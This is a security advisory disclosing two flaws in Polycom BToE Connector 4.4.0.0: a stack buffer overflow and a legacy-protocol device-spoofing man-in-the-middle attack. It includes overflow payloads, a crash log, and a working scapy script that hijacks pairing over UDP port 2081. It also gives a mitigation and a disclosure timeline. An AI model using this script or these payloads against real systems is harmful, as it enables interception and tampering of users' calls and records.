Microsoft® Lync™ Better Together over Ethernet (BToE) feature on Polycom® VVX® business media. phones enables you to control phone activity from your computer using your Lync client. The BToE feature enables you to place, answer, and hold audio and video calls from your Polycom VVX phone and your Lync client on your computer. #### Title: Polycom BToE Connector 4.4.0.0 Multiple Vulnerabilities #### Affected versions: 4.4.0.0 #### Tested on: Windows 10 Enterprise (x64), Windows 11 Home (x64), PBC.exe (x86) #### Credits: echo 1. Remote stack based buffer overflow Polycom BToE Connector in version 4.4.0.0 is prone to Remote Stack Based Buffer Overflow. Vulnerability occurs in handling the following BToE protocol tags: <QoSDSCPValue>, <MediaPort>, <Dtmf>, <SignInState> and is related to the lack of error checking after call strstr function. Value returned by strstr is next used to calculate size of data which will be passed to strncpy. Due to limitation imposed on us by recv function - direct control only over 1024 bytes of data - using this vulnerability to achieve Remote Code Execution is very hard (partial overwrite) or even impossible. 0022DB5B | C68424 30020000 00 | mov byte ptr ss:[esp+230],0 | 0022DB63 | 68 28D83000 | push pbc.30D828 | 30D828:"</QoSDSCPValue>\n" 0022DB68 | 57 | push edi | 0022DB69 | 66:0FD68424 39020000 | movq qword ptr ss:[esp+239],xmm0 | 0022DB72 | 83C6 0E | add esi,E | 0022DB75 | C68424 41020000 00 | mov byte ptr ss:[esp+241],0 | 0022DB7D | FF15 F4222E00 | call dword ptr ds:[<&strstr>] | 0022DB83 | 8BF8 | mov edi,eax | <- poiter returned by strstr (no error check!) 0022DB85 | 8D8424 38020000 | lea eax,dword ptr ss:[esp+238] | 0022DB8C | 2BFE | sub edi,esi | <- calculate the size of QoSDSCPValue value 0022DB8E | 57 | push edi | (null - poiter) 0022DB8F | 56 | push esi | 0022DB90 | 50 | push eax | 0022DB91 | FF15 CC242E00 | call dword ptr ds:[<&strncpy>] | <- (buffer overflow) 0022DB97 | 83C4 14 | add esp,14 | :POC: -- <MediaPort> <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <response protocolVersion="1" requestId="2"> <MediaPort> 31337 </MediaPort>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -- <QoSDSCPValue> <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <response> <QoSDSCPValue> 0 </QoSDSCPValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA :CRASH LOG: 0:004> g (2d80.336c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4 edi=00f6fffd eip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ucrtbase!strncpy+0x109: 774028e9 8907 mov dword ptr [edi],eax ds:002b:00f6fffd=???????? 0:003> g (2d80.336c): Unknown exception - code c00001a5 (!!! second chance !!!) eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4 edi=00f6fffd eip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ucrtbase!strncpy+0x109: 774028e9 8907 mov dword ptr [edi],eax ds:002b:00f6fffd=???????? 0:003> kb # ChildEBP RetAddr Args to Child 00 00f6d97c 002b9942 00f6e248 00f6d9d3 ff09262d ucrtbase!strncpy+0x109 WARNING: Stack unwind information not available. Following frames may be wrong. 01 00f6e284 41414141 41414141 41414141 41414141 PBC+0x9942 02 00f6e288 41414141 41414141 41414141 41414141 0x41414141 03 00f6e28c 41414141 41414141 41414141 41414141 0x41414141 04 00f6e290 41414141 41414141 41414141 41414141 0x41414141 05 00f6e294 41414141 41414141 41414141 41414141 0x41414141 06 00f6e298 41414141 41414141 41414141 41414141 0x41414141 07 00f6e29c 41414141 41414141 41414141 41414141 0x41414141 08 00f6e2a0 41414141 41414141 41414141 41414141 0x41414141 09 00f6e2a4 41414141 41414141 41414141 41414141 0x41414141 0a 00f6e2a8 41414141 41414141 41414141 41414141 0x41414141 0b 00f6e2ac 41414141 41414141 41414141 41414141 0x41414141 0c 00f6e2b0 41414141 41414141 41414141 41414141 0x41414141 0d 00f6e2b4 41414141 41414141 41414141 41414141 0x41414141 0e 00f6e2b8 41414141 41414141 41414141 41414141 0x41414141 0f 00f6e2bc 41414141 41414141 41414141 41414141 0x41414141 10 00f6e2c0 41414141 41414141 41414141 41414141 0x41414141 11 00f6e2c4 41414141 41414141 41414141 41414141 0x41414141 12 00f6e2c8 41414141 41414141 41414141 41414141 0x41414141 13 00f6e2cc 41414141 41414141 41414141 41414141 0x41414141 14 00f6e2d0 41414141 41414141 41414141 41414141 0x41414141 15 00f6e2d4 41414141 41414141 41414141 41414141 0x41414141 16 00f6e2d8 41414141 41414141 41414141 41414141 0x41414141 17 00f6e2dc 41414141 41414141 41414141 41414141 0x41414141 18 00f6e2e0 41414141 41414141 41414141 41414141 0x41414141 19 00f6e2e4 41414141 41414141 41414141 41414141 0x41414141 1a 00f6e2e8 41414141 41414141 41414141 41414141 0x41414141 1b 00f6e2ec 41414141 41414141 41414141 41414141 0x41414141 1c 00f6e2f0 41414141 41414141 41414141 41414141 0x41414141 1d 00f6e2f4 41414141 41414141 41414141 41414141 0x41414141 1e 00f6e2f8 41414141 41414141 41414141 41414141 0x41414141 1f 00f6e2fc 41414141 41414141 41414141 41414141 0x41414141 20 00f6e300 41414141 41414141 41414141 41414141 0x41414141 21 00f6e304 41414141 41414141 41414141 41414141 0x41414141 22 00f6e308 41414141 41414141 41414141 41414141 0x41414141 23 00f6e30c 41414141 41414141 41414141 41414141 0x41414141 24 00f6e310 41414141 41414141 41414141 41414141 0x41414141 25 00f6e314 41414141 41414141 41414141 41414141 0x41414141 26 00f6e318 41414141 41414141 41414141 41414141 0x41414141 27 00f6e31c 41414141 41414141 41414141 41414141 0x41414141 28 00f6e320 41414141 41414141 41414141 41414141 0x41414141 29 00f6e324 41414141 41414141 41414141 0000000a 0x41414141 2a 00f6e328 41414141 41414141 0000000a 00000000 0x41414141 2b 00f6e32c 41414141 0000000a 00000000 00000000 0x41414141 2c 00f6e330 00000000 00000000 00000000 00000000 0x41414141 2. Man in the middle / Device spoofing BToE protocol occurs in two versions, newer and legacy. Implementation of newer version of BToE in BToE Connector is based on openssl library and that version support server authenticity verification. Legacy BToE implementation is relying on plink tool from PuTTY and doesn't check server authenticity while establishing the connection to the server. An attacker which has access to the 2081 UDP port which the PBC.exe is listening on, can - based on the lack of server authenticity verification - send a specially crafted packet and pair system/lync of attacked user with the operating system of attacker choice. From this point, an attacker can intercept or/and modify all data - including phone records and SRTP streams - that are transferred between the attacked system/lync app and the user's phone (polycom device). :POC: [victim system] C:\Windows\System32>hostname victim C:\Windows\System32>ipconfig Windows IP Configuration Wireless LAN adapter Wi-Fi: Connection-specific DNS Suffix . : NAT.in.evil.empire Link-local IPv6 Address . . . . . : 2001:db8:3333:4444:5555:6666:7777:8888 IPv4 Address. . . . . . . . . . . : 192.168.0.11 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.1 C:\Windows\System32> C:\Windows\System32>netstat -p UDP -a -n -b Active Connections Proto Local Address Foreign Address State UDP 0.0.0.0:500 *:* IKEEXT [svchost.exe] UDP 0.0.0.0:2081 *:* [PBC.exe] ... C:\Windows\System32> [attacker system] echo@attacker:~$ hostname attacker echo@attacker:~$ echo@attacker:~$ ip a ... 3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 80:91:33:9c:b9:9f brd ff:ff:ff:ff:ff:ff inet 192.168.0.16/24 brd 192.168.0.255 scope global dynamic noprefixroute wlan0 valid_lft 3404sec preferred_lft 3404sec inet6 1111::2222:3333:4444:5555/66 scope link noprefixroute valid_lft forever preferred_lft forever echo@attacker:~$ root@attacker:/home# tail -n 1 /etc/passwd Synergy:x:1001:1001::/home/Synergy:/bin/bash #pwd = Ch@mp$0FI1C root@attacker:/home# root@attacker:/home# tail /etc/ssh/sshd_config # Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server AllowUsers Synergy root@attacker:/home# echo@attacker:~$ cat /home/echo/Pulpit/BTOE/BToEMiTMPoc.py #!/usr/bin/python3 import argparse, socket from scapy import all as scapy def packet(pbc_ip, pbc_port, phone_ip, phone_port): fp_ip = phone_ip.split("."); payload = struct.pack("BBBBHBBBBBBBBBBBBBBBBBBBBB", int(fp_ip[0]), int(fp_ip[1]), int(fp_ip[2]), int(fp_ip[3]), socket.htons(int(phone_port)), 0x00, 0x04, 0xF3, 5,8,9,10,11,12,1,13,14,15,16,17,18,19,0x1A, 0x1B, 0x1C, 0x1D); packet = scapy.IP(dst=pbc_ip)/scapy.UDP(dport=pbc_port, sport=scapy.RandShort())/scapy.raw(payload); scapy.send(packet, verbose=False); def poc(): opt = argparse.ArgumentParser(description='Process some integers.'); opt.add_argument('--pbc_ip', action='store', type=str, help='PBC.exe IPv4 address', required=True); opt.add_argument('--pbc_port', action='store', type=int, help='PBC.exe UDP port', required=True); opt.add_argument('--fake_phone_ip', action='store', type=str, help='Fake phone IPv4 address', required=True); opt.add_argument('--fake_phone_port', action='store', type=str, help='Fake phone TCP port', required=True); args = opt.parse_args() packet(args.pbc_ip, args.pbc_port, args.fake_phone_ip, args.fake_phone_port); if __name__ == "__main__": poc(); echo@attacker:~$ echo@attacker:~$ sudo python3 /home/echo/Pulpit/BTOE/BToEMiTMPoc.py --pbc_ip 192.168.0.11 --pbc_port 2081 --fake_phone_ip 192.168.0.16 --fake_phone_port 31337 echo@attacker:~$ nc -l -v -p 31337 listening on [any] 31337 ... connect to [192.168.0.16] from attacker [192.168.0.16] 59680 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <request protocolVersion="1" requestId="2"> <GruuRequest></GruuRequest> </request> #### :Recommendation: Since there are still no official fixes, I suggest you to consider blocking plink.exe from location "C:\Program Files [(x86)]\Polycom\Polycom BToE Connector" in order to disable legacy BToE support in BToE Connector. #### :Disclosure Timeline: 20.02.2023 – Initial contact with security@poly.com. 22.02.2023 – Sending details to HP. 06.03.2023 - HP/Poly plans the work schedule and fixes for product. 13.03.2023 – HP/Poly was informed about 90 days disclosure policy. 10.05.2023 – Request for status. 11.05.2023 – Release is planning on mid-June. 13.06.2023 - Request for status. 15.06.2023 - Publication. -----BEGIN PGP PUBLIC KEY BLOCK----- xjMEYgzK+BYJKwYBBAHaRw8BAQdAuvqLumsJp8MYs+ccGRDNptLpiXET6kQ4EMSQ m0+K1kbNGEJVRyA8c2VjYnVnczNAZ21haWwuY29tPsKLBBMWCAAzFiEEVFMxXX78 QbIacMz7MuWgzP7on3UFAmIMyvgCGwMFCwkIBwIGFQgJCgsCBRYCAwEAAAoJEDLl oMz+6J91RUwBAKYGAZ6fDeCVFckLBYJtAOfapZOkqtxsyPkWH2nI4nOOAP40wwVT HhF+/KzlydxgZeWSFisfQiG4/gKee8TOfp7LDc44BGIMyvkSCisGAQQBl1UBBQEB B0Bao5PIrX/c+RguQIRDZ0FRnigzTdRS1970qRbrlxUIBAMBCAfCeAQYFggAIBYh BFRTMV1+/EGyGnDM+zLloMz+6J91BQJiDMr5AhsMAAoJEDLloMz+6J91OIkA/iS1 KwXlgE28cwK3PyPvNe7Jv5E+HXb3lXVxMe63iKdsAP94dozMMgIPdTHXU8LXxkR/ YPBCvA4bkQ9SA37Ak2UDDg== =6VCh -----END PGP PUBLIC KEY BLOCK-----